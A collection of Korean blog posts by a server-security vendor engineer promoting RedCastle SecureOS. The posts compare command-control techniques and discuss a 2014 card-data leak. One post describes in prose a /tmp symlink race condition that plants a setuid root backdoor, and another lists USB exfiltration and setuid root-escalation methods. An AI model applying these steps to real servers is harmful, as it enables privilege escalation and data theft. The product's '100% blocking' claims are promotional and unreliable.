게이트웨이 방식과는 달리 서버에 직접 응용수준에서 동작하는 보안SW를 설치하는 에이전트 방식의 명령어 통제 기법이다. 사용자가 Telnet, SSH를 접속하면 TTY라 부르는 터미널 디바이스를 할당받는데 보안SW가 하나의 TTY를 더 할당받아 TTY와 Shell 사이에 끼워 넣어 화면에 입출력되는 명령어를 가로채어 통제하는 방식이다.

또 하나의 방식은 /etc/passwd에 사용자마다 지정되는 shell을 보안SW 개발사에서 만든 shell로 변경하는 방식이다. 


이 두가지 응용수준에서 동작하는 명령어 통제 방식의 공통점은 Shell로 전달되는 키보드를 통해 입력된 명령어를 가로채 검사한다는 점이다. 이 방식은 게이트웨이 방식보다는 장점이 많고 통제할 수 있는 영역이 넓기는 하지만 응용수준에서 동작하기 때문에 역시나 우회하거나 통제하지 못하는 명령어 실행이 많을 수 밖에 없다. 


예를들어 알리아스가 설정된 명령어의 실행이나 쉘스크립트 혹은 다른 명령어 내에서 위험한 명령어를 실행하는 행위를 통제할 수는 없다. 간혹 쉘스크립트를 파싱하여 분석하여 통제한다고 하나 스크립트를 2중, 3중으로 작성하거나 스크립트가 아닌 실행파일로 만들어 그 실행파일 안에서 명령어를 실행할 경우 쉽게 통제가 뚫리는 취약성을 갖고 있을 수 밖에 없다.


또한 명령어는 사용자 쉘에서만 실행되는 것이 아니다. 앞에서 언급된 대형 보안사고에서와 같이 사용자가 직접 실행하지 않고 백신업데이트 서버나 시스템관리소프트웨어 등 다양한 소프트웨어가 실행하여 발생된 사고도 많다.


때문에 게이트웨이 방식보다는 우월하나 여전히 제대로 된 명령어 통제를 수행할 수 없는 것이 사실이다.


3. 운영체제 커널 수준에서의 명령어 통제 기술


서버내에서 명령어의 실행이나 파일에 대한 수정은 최종적으로 운영체제 커널의 시스템콜을 호출하게 된다. 운영체제의 커널에 동적으로 로드될 수 있는 커널모듈을 만들어 아래 그림처럼 시스템콜 테이블과 실제 시스템콜 루틴 사이에 끼워넣어 모든 파일에 대한 실행/수정/삭제/생성 등을 검사하는 방식이다.

SecureOS의 Security Kernel (RedCastle)SecureOS의 Security Kernel (RedCastle)


이 기술은 이미 1990년대 후반부터 세계적으로 사용되기 시작하여 국내에서는 2000년 초반대에 안정적인 동작을 보장하는 솔루션이 출시되기에 이르렀다. 


이 커널수준에서의 사용자 추적과 명령어 실행통제 및 파일에 대한 수정/삭제의 통제는 보안소프트웨어가 커널에 로드되는 점 이외에는 단점보다는 장점이 더 많은 것이 사실이다. 우회접속에 대한 우려와 알리아스, 심볼릭링크, 콘솔접속에 의한 명령어 실행은 물론 다중 레벨 스크립트와 서비스대몬 및 명령어 내에서 실행하는 명령어에 대한 추적과 통제도 완벽하게 수행된다.


마무리


이렇듯 서버 내에서의 명령어 통제에 대한 문제를 해결하기 위한 솔루션은 이미 시장에 넘쳐난다. 다만 어떤 솔루션을 선택하느냐의 문제다. 서버에 커널 수준에서 동작하는 소프트웨어를 설치하기 부담스럽다면 쉽게 우회할 수 있는 취약성이 있더라도 느슨한 통제를 수행하는 솔루션을 선택하면 되고 명령어 통제라는 이름에 걸맞는 제대로 된 명령어 통제를 구현하고 싶다면 커널 수준에서 동작하는 명령어 통제 솔루션을 선택하면 된다.


관련포스트 : http://blogger.pe.kr/401


  • 쭈니러스 2014.08.22 21:52 신고

    좋은 솔루션이 개발되고 사용되어져야 겠네요~

    • taeho Tae-Ho 2014.08.23 12:39 신고

      국산 소프트웨어도 좋은 제품이 많이 개발됩니다...하지만 기업 경영에 대한 ceo들의 잘못된 가치관과 합리적이지 못한 의사결정 그리고 정에 이끌려 공평하지 못한 조직관리가 그 소프트웨어 기업들을 죽입니다. 게다가 끝없는 갑질과 하도급은 성장가능성 높은 sw기업을 두번 죽이죠.. 그 속에서 개발자들은 반복되는 야근과 밤샘 코딩으로 세번 죽습니다... 정말 안타까운 일입니다..

  • 지후대디 2014.08.26 07:26 신고

    답글에서 공통된 마음이 듭니다 3번 죽이는 일을 아무렇지도 않게 반복하는 윗분들이 많습니다

    • taeho Tae-Ho 2014.08.26 07:33 신고

      출근중이시군요...^^ 맞습니다.우리나라에 경험 많은 개발자가 없는 이유중 하나죠..다들 혹사 당해 개발업무를 떠나기 때문이죠. 그래서 하지 않아도 될 시행착오의 무한루프에 빠지고 맙니다.


SecureOS (서버보안SW)는 서버에 대한 접근과 서버에 접속한 사용자들의 행위를 감시하고 명령어의 실행과 파일의 수정 및 삭제를 통제할 수 있는 매우 강력하고 다양한 기능을 제공하는 보안 솔루션이다. 하지만 2014년인 지금까지도 그 활용 수준은 미미한 것이 현실이다.


내가 처음 SecureOS를 접한 것은 아마도 IMF 구제금융사태가 끝나갈 무렵인 2000년 전후였던 것으로 기억된다. 당시 국내에서 쓸만한 유일한 서버보안SW(== SecureOS)였던 미국 CA사의 eTrust Access Control이 처음 접한 서버보안SW다. 


당시 내가 일하던 '포시에스"는 CA의 리셀러였고 Ingres RDBMS와 Unicenter, BMC의 Patrol 등 외산 SW를 국내에 공급하고 기술지원을 하는 회사였다. CA가 무척이나 다양한 서버용 SW를 개발하고 판매하는 글로벌 SW 기업인 덕분에 그 외에도 많은 서버용 SW를 접할 수 있었고 시스템 SW에 대한 폭넓은 시야와 경험을 쌓는데 매우 큰 도움이 되었다. 그와중에 접하게 된 것이 바로 지금도 내가 주 업무로 담당하고 있는 서버보안분야의 핵심적인 SW인 SecureOS 였다.


이 서버보안SW는 이스라엘의 MEMCO라는 벤처에서 만든 SeOS(많은 사람들이 당시 "쎄~오에스"라고 불렀음)를 플라티늄이라는 회사를 거쳐 CA가 인수하여 eTrust Acces Control 이라는 이름으로 개명하여 공급하고 있었다.


5일 짜리 기초교육을 받고 곧바로 구미에 내려가 프로젝트를 수행해야 했지만 제품의 컨셉 정도만 이해하고 있던 당시에는 서버의 계정관리 정책이나 파일에 대한 접근 통제 정책 수립에 대한 컨설팅은 꿈도 꾸지 못했었다.




당시 처음 접했던 서버보안SW가 인연이 되어 지금도 국산 서버보안SW인 RedCastle SecureOS와 관련된 일을 하고 있다. 


이미 개발된지 10년이 넘은 RedCastle은 단언컨대 최고의 서버보안SW다. RedCastle은 SecureOS의 핵심인 참조모니터가 구현된 보안커널의 아키텍쳐나 보안커널에서의 파일접근통제 메커니즘과 파일접근통제를 위한 정책의 수립을 위한 사용자 지원 유저인터페이스등 서버보안SW의 가장 중요한 부분에서 최고의 성능과 안정성을 보장한다.


2003년 당시 RedCastle이 개발된지 얼마 안되었을 즈음에는 서버에 설치하거나 설치한 뒤 종종 서버에 장애를 유발하는 문제도 있었지만 몇년 안되어 안정성이 충분히 확보되었고 성능도 외산보다 더 뛰어날 정도로 발전을 거듭하였다. 

일례로 외산을 사용하던 고객사에서 서버의 운영체제와 DB를 업그레이드 한 뒤 외산서버보안SW를 설치하면 서버가 서비스를 할 수 없을 만큼 성능이 저하되어 RedCastle을 이용해 문제를 해결하고 임시로 임대하여 사용한 사례가 있을 정도 였다. (지금은 해당 고객사가 전사적으로 RedCastle을 도입하여 사용 중임)


얼마 전 RedCastle에 대한 소개자료를 새로 만들었다. 매번 프로젝트 수행에 필요한 산출물 위주의 문서작업이나 교육교재 (Basic Course 및 Advanced Course) 등 기술자료만 만들다 영업에 사용될 기초적인 소개자료를 만들려하니 무척이나 까다로운 작업이었다.


그런데... 반응이 신통치 않았다. 우리나라 사람들은 이런 스타일의 문서를 "싫어"한다는 것을 알기 때문일 것이다. 나도안다. 왜 나라고 우리나라 스타일을 모르겠는가? 한눈에 직관적으로 알 수 있는 그림과 표가 가득한 겉만 화려한 그런 문서말이다. 하지만 그렇게 그림과 표로 많은 내용이 함축된 문서는 보는 이들이 곡해할 수 있는 요소가 너무 많은 것이 문제다. 전혀 다른 엉뚱한 의미로 이해하는 "사고"가 발생할 가능성이 너무 높다. 그래서 누군가가 "부연 설명"을 해줘야 한다.


그래서 난 부연설명의 필요성을 최소화할 수 있는 소개자료를 만들어 보고 싶었다. 차분히 문서하나를 다 보면 충분히 이해할 수 있는 그런 문서를 말이다. 그래서 만든 문서가 바로 이 RedCastle 소개자료다.



서버보안SW(SecureOS)가 무엇인지 궁금한 사람들에게 도움이 되었으면 한다.


RedCastle 소개자료 다운로드 받기


RedCastle_소개자료_20140414(GD).pdf






  • 지후대디 2014.07.26 16:14 신고

    화려한 표와 그림으로 함축한 문서에 곡해할 여지가 많다는 말 공감합니다 심지어 보는 사람의 지식에따라 전혀 다르게 이해 되기도 하더군요. 가끔 영어원서를 보면 한국에서는 무성의 하다고 느낄 단순한 그림과 텍스트가 많았는데 언어의 장벽에도 불구하고 이해하긴 더 쉬웠던것 같습니다 ㅎㅎ


2014년 1월 또 한번의 초 대형 보안사고가 발생했다. 이번엔 신용카드사에서 보유하고 있는 신용카드 발급 고객의 개인신상정보와 신용등급, 결제계좌정보 등의 비교적 고급정보 그리고 심지어 일부 고객의 경우 카드번호와 발급일자까지 유출된 것으로 보인다.


내 경우도 다음과 같이 "나도 알지 못하는" 나에 대한 정보가 유출되었다고 나온다. 과연 계속 이 금융사를 "주거래" 은행과 카드사로 이용해야할지를 심각하게 고민하게 만든다.





본격적으로 카드3사의 개인정보 유출사고를 살펴보기 전에 과거의 개인정보유출 보안사고 이력(?)을 한번 보고 넘어가자. 인터넷에서 대충 검색해도 아래 그림처럼 엄청난 양의 개인정보 유출사고 사례를 접할 수 있다.


출처 : http://zalhae.blog.me/30183768858


하지만 이런 많은 개인정보유출사건 중에서도 이번 신용카드3사의 개인정보 유출사고가 심각하게 다루어져야 하는 이유는 단순 개인정보 뿐만 아니라 금융정보까지 함께 유출되었다는 점에 있다. 게다가 이번 개인정보 및 금융정보의 유출이 소위 말하는 해커의 "해킹"에 의한 것이 아니라는 것은 금융사 내부의 모든 구성원이 마음만 먹는다면 얼마든지 개인의 금융정보에 접근하여 "계좌 조작"까지도 가능하다는 매우 치명적인 "위협 시나리오"가 현실로 나타날 수 있다는 것을 의미한다는 점에서 과거처럼 조용히 넘어가서는 안된다는 것을 시사한다. 하지만 사고 이후 금융당국과 정부의 대처는 호들갑만 떨 뿐 소문난 잔치에 먹을 것 없다는 속담을 떠올리게 하고 있어 안타깝기만 하다.


신용카드3사 개인정보/금융정보 유출 시나리오


이번 신용카드3사의 개인/금융정보 유출사고는 모든 금융기관 아니 모든 기업/공공기관의 공통적인 보안 위협인 "개발/운용의 외주"가 불러온 사고라고 볼 수 있다. 신용카드사들은 금융당국의 요구로 "신용카드 불법사용 탐지"를 위해 KCB라는 회사에 외주를 주어 시스템을 개발하고 있다.

그 과정에서 필수적으로 테스트가 필요한데 이때는 실제 신용카드 거래정보를 이용해 테스트를 진행할 수 밖에 없다. 당연히 KCB의 개발담당자는 "당당하게" 테스트를 위해 실제 고객 정보를 요구했고 카드사 IT담당부서에서는 데이터의 접그을 허용해주었다.


이를 바탕으로 아래 그림에 이번 사고 시나리오를 재구성해 보았다.

카드사 개인정보 유출 시나리오


하지만 여러 금융사의 전산실을 드나들어 본 경험을 바탕으로 할 때 의구심이 드는 것은 과연 KCB의 개발자가 어떻게 개인의 노트북을 소지하고 게다가 USB를 연결하여 개인정보를 유출했는가 하는 점이다. 솔직하게 이 점은 현재까지도 이해가 되지 않는다.


그 이유는 다음과 같다. 매우 기본적인 보안 수칙이다.


1. 대부분의 금융사는 이미 개인의 업무용 노트북을 어떠한 경우에도 금융전산네트워크에 접속하도록 허용하지 않는다.

2. 설사 접속하도록 하더라도 USB차단/블루투스 차단, 와이파이차단 등의 기능을 하는 보안SW를 노트북에 설치하여 USB사용을 차단한다.


1번과 2번의 규칙을 준수하지 않았다는 것은 사실 상상하기 힘들다. 이 보안규칙을 지키지 않았다면 이는 책임소재가 분명하기 때문에 대부분의 금융기관에서 비교적 철저하게 준수하고 있기 때문이다.


만약 위의 보안정책을 따르고 있었다면 어떠한 경로를 통해 데이터가 유출될 수 있을까? 이경우의 정보유출 경로는 바로 "서버"다.


요즘의 서버들은 대부분 USB포트를 갖고 있다. 윈도서버는 물론이고 리눅스, Unix 서버도 USB 포트를 갖고 있는 경우가 대부분이다. 서버 운영체제의 지식을 조금만 갖고 있다면 1. 서버에 USB 메모리를 꼽고 2. 마운트를 한 뒤 3. 서버의 DB에 있는 데이터를 파일로 저장한 뒤 4. USB로 복사하면 쉽게 유출이 가능하다. 그리고 이러한 방법은 엔지니어나 내부자에 의해 종종 사용되고 있다.


서버에서의 정보유출 차단을 위한 방안


앞에서 언급한 것 처럼 "개발"이나 "운용"을 위해 내부 IT 부서 직원이나 오퍼레이터 혹은 외부 업체의 직원에게 서버에 Telnet, FTP 등의 방법으로 로그온할 수 있는 권한을 부여하는 경우가 많다. 하지만 Unix/Linux/Windows 서버는 어떠한 계정으로라도 서버에 로그온만 할 수 있다면 해킹이라고 하기에도 유치한 쉬운 방법으로 수퍼유저(root, Administrator) 권한을 얻을 수 있다.


그렇기 때문에 RedCastle과 같은 SecureOS 솔루션을 설치하여 보안대책을 수립해야 한다.


1.  IP , 계정, 시간, 서비스종류(telnet,ftp)조합에 의해 로그온을 통제.

2. 로그온통제에 추가하여 AuthCastle 등을 통한 2중인증(ID/Password + OTP/PKI/ARS) 적용

3. DBA 계정 및 root 계정 등 으로 로그온했다 하더라도 데이터베이스에 접근할 수 있는 명령어 및 실제 데이터가 

   저장된 데이터파일에 접근을 차단.

4. root 계정에서 db관리자 계정(oracle, db2)으로 패스워드 없이 Switch User 하지 못하도록 차단

5. setuid 및 간단한 코딩을 이용해 db관리자 권한 및 수퍼유저 권한 획득 차단

6. 백도어 등 설치를 통한 Bind Shell 등의 차단 (사용하지 않는 통신포트 Bind 차단)

7. 서버내에서의 Race Condition, FIFO Attack, 스니핑 등을 탐지하거나 차단할 수 있는 보호대책 적용

8. 운영체제의 설정파일, 응용프로그램의 설정파일 및 바이너리 파일에 대한 위변조 차단

9. 임시디렉토리에서의 실행(execute) 통제 및 크론탭 파일 등에 대한 무단 위변조 차단

10. 응용프로그램 네에 하드코딩된 ID, 비밀번호에 대한 유출 방지 대책


몇몇 보안대책만 나열해 보았지만 이러한 보안대책을 권고하고 구현해주는 보안컨설팅업체는 아직까지 보지를 못했다. 그만큼 서버내에서의 내부자 및 외부용역업체 개발자/엔지니어에 대한 행위 통제를 수행하는 경우는 아직까지 거의 없다. 그리고 이러한 보안대책을 "제대로~" 구현할 수 있는 솔루션도 RedCastle과 같은 SecureOS 외에는 없다고 봐도 무방하다.


일부 게이트웨이 방식의 제품이나 보안쉘 방식 혹은 PAM에서 가로채는 형태의 제품이 있기는 하나 사실 반쪽자리 솔루션일 뿐이다. 관리자 권한(root)을 얻는다면 간단하게 우회가 가능하기 때문이다.


10년 가까이 서버보안 업무를 하고 있지만 서버에 대한 제대로된 보안 정책을 수립하고 구현한 기업이나 공공기관은 손가락에 꼽을 만큼 찾아보기 어려운 것이 현실이다. 그나마 몇 안되는 고객사의 보안정책 수립과 구현에 기여했다는 것이 소중한 기억으로 느껴지는 것이 현실이다.


내가 서버보안업계에서 은퇴(?)하기 전에 과연 "제대로 된" 서버의 보안대책을 구현하는 것이 보편화될 지 궁금하다.




  • 미세스앤미스깡 2014.01.29 13:53 신고

    헐... 저도 이 머나먼 땅에서 다 털렸어요 ㅠ
    더 화나는건 거소증 만들어 따끈따근한 새 주민번호를 만들었는데 그게 털렸다는 ㅠ
    뭐 이런 일이 있나 싶어요.
    저도 유니센터님 링크 걸고 갑니다 ㅎㅎ


유닉스/리눅스 운영체제는 태어난지 수십년이 지난 지금(2014)도 그 자체로 취약성 덩어리라 해도 과언이 아니다. 다만 네트워크기반의 다른 보안솔루션들의 집중적인 보호(침입차단)를 받고 있고 자체적으로는 사용자인증(로그인)과 기본적인 사용자간의 권한분리(계정을 통한 분리)를 통해 최소한의 보안을 유지하고 있는 것이다. 하지만 말 그대로 "최소한"의 보안이다.


유닉스/리눅스 운영체제를 공부하다 보면 수도 없이 많은 보안 취약성을 발견하게 된다. 그 취약성은 개방성을 기반으로 개발된 운영체제이기 때문이기도 하지만 사실...별다른 보안개념을 적용하지 않고 개발된 운영체제이기 때문이기도 한다.


그중에서 오늘 소개할 것은 심볼릭링크 취약성과 쉘의 취약성이다. (심볼릭링크는 윈도의 단축아이콘과 유사하다.)


이따금씩 서버보안 S/W의 시연이나 BMT를 진행하다보면 일부 취약성 공격의 방어에 대한 시연을 요청하는 경우가 있다. 대부분 웹쉘 방어 혹은 웹 소스 위변조 차단에 대한 시연을 진행하는데 이번엔 심볼릭링크 취약성까지 시연해야 하는 경우가 생겼다. 사실... 버퍼오버플로나 포맷스트링 등은 이론적으로만 이해하고 있고 실습(?)을 해보지는 않았다. 사실 해당 취약성을 내포한 애플리케이션을 코딩(C로)하고 테스트하는 과정은 썩 단순하지는 않다. 이따금씩 하는 코딩 실력으론 어려운게 사실이다.


하지만 레이스컨디션은 너무도 쉽고 단순한 쉘스크립트로도 실습이 가능하다. 아주 오래전 한참 코딩에 빠져있을 때 원조 모의해킹 실습사이트(이름은 생각나지 않음)에 들어가 모의해킹을 통해 레벨을 올라가는 도전을 해본적이 있다. 당시 15레벨인가가 명예의전당이었던것 같은데 당시에 8레벨인가가 레이스컨디션 공격을 해야하는 문제였었다. 난 8레벨 획득을 끝으로 더이상 도전하지 않았다. 9레벨에 가려면 인라인어셈블리까지 해야했기 때문이었다. (어셈블리는 인간의 언어가 아니라고 난 생각한다. ^^)


이제 본론으로 넘어가자.


1. 심볼릭링크 취약성을 가진 쉘스크립트


심볼릭링크 취약성은 다양한 프로그램에서 갖고 있다. 특히 임시파일을 생성하고 생성한 임시파일에 쓰기를 하거나 실행을 하는 경우 발생할 수 있다. 특히 root계정으로 실행되면서 임시파일을 생성하고 그 임시파일이 다른 작업을 수행하는 경우 심각한 2차 취약성을 만들거나 시스템에 장애 혹은 정보유출 등으로 이어질 수 있다.



위의 vulrace.sh 는 무한루프를 돌면서 /tmp 디렉토리에 1.sh라는 파일을 만들고 메시지 한줄을 화면에 출력하는 echo문을 저장한 뒤 그 생성한 파일(1.sh)에 실행퍼미션을 부여하고 그 파일을 실행한다.(설명이 복잡한가?) 그리고 실행이 종료되면 임시파일(1.sh)을 삭제한다.


이 과정에서 취약성은 바로 /tmp/1.sh를 삭제하고 다음번 루프에서 echo명령으로 임시파일을 생성하고 실행하는 사이에서 발생한다. 임시파일인 1.sh를 생성하기 전에 누군가가 root 권한으로 실행되기를 바라는 파일로 1.sh라는 심볼릭링크를 먼저 생성하면 이 프로그램(vulrace.sh)은 1.sh라는 정상 임시파일을 만들지 못하고 심볼릭링크인 1.sh에 echo문을 실행하게 된다. 즉 1.sh가 가리키고 있는 엉뚱한 파일에 echo문이 추가되고 실행되는 것이다. 이 엉뚱한 파일이 무엇이냐에 따라 공격의 내용이 달라지게 된다. 그 엉뚱한 파일은 root 권한으로 실행되게 된다. vulrace.sh가 root 권한으로 실행되었으므로...


위의 예제에서는 해당 취약성 공격 성공률을 높이기 위해 sleep 1을 넣어 공격이 쉽게 성공하도록 하였다.


2. 엉뚱한 파일 (쉘카피백도어)


이제  1.sh로  심볼릭링크가  걸릴 스크립트, 즉 공격자가 root권한으로 실행하고자 하는 "엉뚱한 파일"을 만들 차례다. 이 엉뚱한  파일은 쉘카피백도어를 만드는 스크립트를 예를 든다. 따로 설명은 안하겠다. 악용될 경우 심각한 문제를 유발할 수 있기 때문이며... 이 예제를 악용하여 발생하는 문제는 해당 사용자에게 있음을 분명히 밝혀둔다. 하지만 이 정도의 예제는 인터넷을 통해 얼마든지 접할 수 있고 매우 고전적인 방법이지만 최신 운영체제에서도 적용 가능한 기법이다.


이 스크립트가 root 계정에 의해 실행될 경우 /tmp/ 디렉토리에 backdoor라는 루트쉘이 생성된다. 이후 일반계정에서 이 생성된 /tmp/backdoor를 실행할 경우 root 권한을 획득하게 된다.


vulrace.sh가 실행하는 1.sh로 attack.sh 를 심볼릭링크를 걸면된다. (방법은 뒤에서~~)


3.  취약한 스크립트 실행과 공격 성공


심볼릭링크 취약성을 가진 vulrace.sh를 root 계정에서 실행하면 vulrace.sh가 생성하는 /tmp/1.sh에 의해 심볼릭링크 취약성이 있다는 메시지가 출력된다. 이 메시지를 출력하는 것은 정상적인 /tmp/1.sh 이다.


중간의 Attack Success...!! 메시지는 엉뚱한 파일(attack.sh)를 가리키는 /tmp/1.sh 라는 심볼릭링크가 실행되었을 때 attack.sh가 실행되어 출력되는 메시지다. 해커가 /tmp 디렉토리에 1.sh라는 심볼릭링크를 생성하고 vulrace.sh가 해당 심볼릭링크를 실행한 것이다.


4. 공격과 결과


공격은 아래 화면의 ln 명령에 의해 이루어진다. 즉 해커가 root 권한으로 실행하고자 하는 내용을 담은 스크립트를 /tmp/1.sh 로 심볼릭링크를 생성하는 것이다. 


그리고 공격이 성공하면 attack.sh가 하고자 했던 /tmp/backdoor 가 생성된다.

root 소유자이고 소유자의 setuid가 생성되어 있다.

일반계정인 taeho에서 /tmp/backdoor를 실행하면 root 권한을 얻을 수 있다.


p.s 만약 tmp 디렉토리에서 chown  명령이 에러가 발생한다면 tmp 디렉토리에 sticky bit 가 설정되어 있기 때문이다. 샘플 소스의 디렉토리를 /tmp가 아닌 다른 경로로 설정한 뒤 테스트하면 된다.


5. 레이스컨디션 공격 방어 방법


이 심볼릭링크가 갖는 취약성 공격을 방어하기 위해서는 서버 내에서 실행되는 모든 스크립트와 실행파일에 대해 하나하나 모두 검증해야 한다. 


1. 임시파일을 생성하고 실행하거나 수정하는 어떤 프로그램들이나 쉘스크립트가 있는가?

2. 만약 있다면...(100% 존재하며 모두 파악하는 것은 거의 불가능함) 임시파일을 생성하기 전에 생성할 임시파일이 이미 존재하는지 확인하고 존재한다면 프로그램을 중단하도록 소스코드 수정 --> 사실상 불가능함

3. 심볼릭링크를 사용하지 못하도록 함. (역시 사실상 불가능함)


그렇다면 방법이 없는가?


방법은 있다. 

바로 RedCastle SecureOS를 설치하면 된다. RedCastle SecureOS는 Race Condition 공격을 100% 차단 할 수 있다. RedCastle SecureOS는 운영체제의 커널수준에서 심볼릭링크의 생성을 모니터링하여 root계정에서 실행된 명령어 혹은 대몬프로세스가 일반소유자의 파일로 연결되는 심볼릭링크를 실행하는 것을 차단해준다. 

이러한 보호는 SecureOS의 핵심보듈인 커널수준에서 구현된 참조모니터에 의해 구현되기 때문에 예외없이 모든 심볼릭링크 취약성 공격에 대해 방어가 가능하다.





Windows, Linux, Unix 등 서버엔 많은 관리자나 엔지니어들이 접속하여 관리를 수행한다. 여기서 "접속"이라 함은  일반적인 웹서비스나 일반 업무 프로그램을 통한 접속이 아니라  telnet, ssh, terminal service 등 서버의 관리를 위해 운영체제에서 기본적으로 제공하는 접속 환경을 말한다.

SSH 혹은 telnet을 통해 Unix/Linux 서버에 접속하면 아래와 같은 화면이 표시된다.

이때부터 서버의 관리는 그 옛날 DOS시절보다 더 복잡한 명령어를 실행하거나 설정함으로써 이루어진다. 서버의 보안관리상의  문제는 여기서 부터 발생한다. 

1. 누가(사람) 언제 어디서 접속하였는가 ?

2. 어떤 계정으로 접속하였는가 ?

3. 어떤 명령을 실행하였는가?

4. 명령 실행 후 어떤 결과가 화면에 표시되었는가?

5. 어느 파일을 수정하였는가 ?

6. 명령 실행 혹은 파일 수정 후 어떤 에러가 발생하였는가?

위의 6가지에 대한 감사(Audit)를 수행하기 위해서는 운영체제의 기본 기능만으로 구현할 수는 없다. Unix와 Linux 그리고 Windows는 훌륭한(?) 운영체제지만 보안을 특별히 고려한 운영체제라고 보기는 어렵다. 서버의 보안을 강화하기 위해 특별한 기능을 기대하지는 않는 것이 좋다.

그렇다면 위의 6가지 감사 이슈를 충족하기 위해서는 어떤 방법을 취할 수 있을까? 역시 가장 확실한 방법은 서버보안SW를 적용하는 것이 가장 확실하다 하겠다.

SecureOS는 다음의 두가지 사용자 및 관리자의 행위추적 기능을 제공한다.

1. 커널수준에서 수행되는 "사용자 추적"

2. 응용수준의 입출력디바이스에 대한 모니터링을 수행하는 "TTY 모니터링"

몇몇 서버보안 제품들과 서버 감사로그 수집솔루션에서는 TTY모니터링 기능만을 제공하지만 레드캐슬은 커널수준의 사용자 추적과 TTY 모니터링을 모두 제공하고 있기 때문에 보다 상세하고 강력한 감사기능을 지원하고 있다.

1. 커널수준의 사용자 추적

말 그대로 커맨드라인에서 입력된 명령행이 exec() 시스템콜에 의해 커널에 전달된 시점에서 로그인한 사용자 세션을 식별하여 세션별로 수집/저장하는 행위추적 기능이다. exec() 시스템콜을 가로채어 감사로그를 저장하기 때문에 커맨드라인에서 직접 입력한 명령어 뿐만 아니라 실행된 명령어 혹은 스크립트가 내부적으로 실행하는 exec() 시스템콜도 가로채어 감사로그를 기록할 수 있다.

이는 화면에는 보이지 않고 백그라운드로 실행되는 명령어도 감사로그 기록이 가능하다는 의미다. 때문에 보다 정확하고 상세한 감사로그를 남길 수 있다. 예를 들어 외부 엔지니어가 작업상의 편의를 위해 미리 스크립트를 만들어 가져온 뒤 서버에 업로드하고 한꺼번에 실행하는 경우 커널수준의 사용자 추적에서는 그 스크립트 안에서 실행되는 명령어까지도 빠뜨리지 않고 감사기록을 남길 수 있다는 것을 의미한다.

또한 TTY 모니터링과는 다르게 보안SW가 구동중이면 우회하거나 무력화할 수 없으며 화면의 입출력을 가로채는 동작이 없기 대문에 여러 명령행의 "붙여넣기" 혹은 DBA들이 자주 사용하게 되는 길다란 ~ SQL문의 "붙여넣기" 시에도 영향을 주지 않는다.

커널기반 사용자 추적 조회 화면 (Windows / Linux / Unix 공통)

이 커널기반의 사용자 행위 추적 기능은 타 서버보안SW 혹은 감사로그 수집 솔루션에서 지원하지 못하고 있는 기술이다.

2. TTY기반의 사용자 추적

TTY란 Telnet, SSH, rlogin 접속 시 운영체제가 사용자 세션에게 부여하는 가상의 터미널디바이스 이름이다. TTY는 옛날 타자기(TeleTYpewriter)의 입출력을 컴퓨터 상에 접목시키기 위해 만들어진 것으로서 사용자가 접속할 때 1개씩 부여되고 키보드의 입력과 화면의 출력이 사용자가 접속할 때 부여된 터미널디바이스(즉 TTY)를 통해 이루어진다.

대부분의 서버보안 제품 및 TTY모니터링을 지원하는 로그통합관리 제품들은 동일한 방식 즉 TTY를 모니터링하는 기법을 사용하여 사용자 추적을 수행한다. 이 기술은 커널 수준이 아닌 응용프로그램 수준에서 동작하며 운영체제의 기본적인 설정 중 일부를 변경해주어야만 동작한다. 즉 어떤 파일을 변경하면 되는지를 알면 root 권한을 얻었을 때 해당 설정을 수정하며 감사기록이 남지 않도록 할 수 있다는 이야기다.

그럼에도 불구하고 TTY 모니터링 기법은 중요한 장점을 갖고 있는데 그것은 바로 명령 수행의 결과로 출력되는 내용까지도 감사기록으로 남길 수 있으며 온전한 입력과 출력을 모두 로깅하기 때문에 "동영상" 처럼 재생시켜 볼 수 있다는 장점이 있다.

Windows 서버에 대한 사용자 행위 추적(GUI수준)

 Unix / Linux 서버에 대한 TTY 수준의 행위추적 (GUI수준)

개인정보보호법이 발효된 이후 시스템에 대한 보안 점검 시 "관리자의 행위에 대한 감사로그"를 남기고 있느냐가 무척 중요한 이슈로 떠오르고 있다. 이에 대해 완벽하게 대응하기 위해서는 TTY수준(GUI수준)에서의 행위 감사와 TTY수준의 행위 감사가 무력화 되었을 경우를 대비한 커널수준의 사용자 추적 두가지가 모두 필요하다.




Unix와 Linux 서버의 운영체제에서 보안을 위해 가장 주의해야하는 것은 바로 수퍼유저 계정, 즉 root 계정의 권한 탈취다. 만약 해커가 root 권한을 탈취한다면 해커는 서버에서 하고자 하는 모든 것을 할 수 있다.

해커가 root의 패스워드를 모르는데 어떻게 root 권한을 탈취할 수 있는가?

Unix와 Linux 운영체제는 보안에 신경쓰지 않고 개발한 연구용 운영체제다. 그러다 보니 개발 과정에서 일반 사용자 계정에서 root 권한을 필요로 할 경우 root 의 패스워드 없이 root 권한을 얻을 수 있는 다음과 같은 기능을 넣었다.

- 파일 퍼미션의 setuid bit에 의해 다른 계정의 권한을 임시로 얻는 기능
- 프로그램 내에서 setuid() 함수를 실행하여 현재 실행중인 프로세스의 소유자를 변경할 수 있는 기능
- 일단 root 권한을 얻으면 패스워드 없이 타 계정으로 권한을 변경할 수 있는 기능

해커들은 이 setuid 기능을 이용해 언제든 root 권한을 얻을 수 있는 백도어를 만들어 서버에 설치한다. setuid bit를 이용하여 백도어를 만드는 것은 프로그래밍 지식이 없는 초보자도 손쉽게 만들 수 있을 만큼 쉽지만 시스템 운영자의 입장에서는 엄청나게 위험하고 일단 설치되면 찾아내기가 쉽지 않다. rootkit 이라 불리는 것들이 백도어라 생각하면 된다.

redcastle secureos


SETUID 이외의 root 권한 탈취 방법

앞에서 설명한 setuid 이외의 root 권한의 탈취 방법은 대부분 운영체제 혹은 애플리케이션의 취약성으로 인해 발생하는 것들이다.

예를 들어 보면

1. root 권한으로 실행 중인 A라는 프로그램이 있다.

2. 이 프로그램은 주기적으로 /tmp 디렉토리에 B라는 이름의 스크립트를 생성하고 실행하고 삭제한다.
   (당연히 B라는 스크립트는 root 계정의 권한으로 실행된다.)

3. 서버를 해킹하려는 악의적인 목적을 가진 내부자가 root 이외의 계정으로 접속하여 /tmp에 B라는 동일한 이름의 공격스크립트 혹은 공격 프로그램을 지속적으로 만들고 지우는 스크립트를 만들고 실행한다. (B라는 스크립트 혹은 프로그램을 분석하여 A가 실행하는 어떤 한 명령이라도 대체 가능하다면 약간 변형하여 가능한 공격이다.)

4. 어느 순간엔가는 A가 실행하는 B라는 스크립트가 정상적인 B라는 스크립트가 아니고 공격자가 만들어둔 B라는 스크립트일 가능성이 있고 실제로 root 권한으로 공격스크립트가 실행될 수 있다.

